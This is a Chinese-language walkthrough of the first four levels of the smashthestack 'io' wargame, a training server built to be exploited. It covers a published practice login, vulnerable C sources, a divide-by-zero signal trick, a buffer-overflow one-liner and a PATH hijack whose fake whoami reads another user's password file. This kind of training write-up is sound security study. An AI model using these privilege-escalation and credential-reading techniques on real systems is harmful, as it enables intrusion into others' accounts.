所谓的Wargame属于CTF的一种,登陆远程主机,通过上面运行的有漏洞程序逐步提升权限。
比较著名的就是smashthestack了,虽然速度比较慢,也可以尝试一下。
不定期更新
Howto
以level1为用户名和密码SSH登陆io.smashthestack.org,即
1
| sshpass -p 'level1' level1@io.smashthestack.org
|
这样就进入了服务器,程序都放在/levels文件夹下,这里我们能够允许的就是level01了,通过gdb查看一下看出它main函数中进行了一个数的比较,输入正确的数之后得到了一个level2权限的shell,这时执行
就能够得到level2用户的密码了,然后退出来再用level2为用户名以及上面提到的密码登陆,在/levels文件夹下破解level02程序即可。
Level 2
给出了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h>
void catcher(int a) { setresuid(geteuid(),geteuid(),geteuid()); printf("WIN!\n"); system("/bin/sh"); exit(0); }
int main(int argc, char **argv) { puts("source code is available in level02.c\n");
if (argc != 3 || !atoi(argv[2])) return 1; signal(SIGFPE, catcher); return abs(atoi(argv[1])) / atoi(argv[2]); }
|
这里需要给出2个参数并触发SIGFPE(除0错),但这里限制了第二个参数不能为0,需要想别的办法。
这里有2种方法,用-2147483648除以-1,或者用kill手动发送信号。
不太理解它这个是什么原理,level3中有个slide给出了解释我也没太看懂…….
Level 3
源代码是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #include <stdio.h> #include <string.h>
void good() { puts("Win."); execl("/bin/sh", "sh", NULL); } void bad() { printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good); }
int main(int argc, char **argv, char **envp) { void (*functionpointer)(void) = bad; char buffer[50];
if(argc != 2 || strlen(argv[1]) < 4) return 0;
memcpy(buffer, argv[1], strlen(argv[1])); memset(buffer, 0, strlen(argv[1]) - 4);
printf("This is exciting we're going to %p\n", functionpointer); functionpointer();
return 0; }
|
很典型的缓冲区溢出,就不需要多做说明了吧。
通关的方法
1
| ./level03 `python -c "print 'A'*76 + '\x74\x84\x04\x08'"`
|
Level 4
这关有2个程序,不过方法都是一样的。
就以其中一个为例:
1 2 3 4 5 6 7 8 9 10 11
| #include <stdlib.h> #include <stdio.h>
int main() { char username[1024]; FILE* f = popen("whoami","r"); fgets(username, sizeof(username), f); printf("Welcome %s", username);
return 0; }
|
似乎无从下手,这只能从whoami上做文章了。其实看到程序我就差不多猜到这是要伪造一个whoami,不过这里需要把这个程序放到环境变量里,直接放到当前目录是不行的。
在服务器上找到一块能写的地方还真不容易,最终在tmp里新建了个文件夹level4,然后写了下面的程序whoami.c
1 2 3 4
| #include <stdlib.h> int main(){ system("cat /home/level5/.pass"); }
|
接着编译并添加环境变量
1 2
| gcc whoami.c -o whoami PATH=/tmp/level4/:$PATH
|
最后到/levels下运行./level04就过关了。
以上4关都是与linux和c的一些机制有关,只要知道原理还是比较容易的。这只是热身,接下来就是更像CTF的buffer overflow了。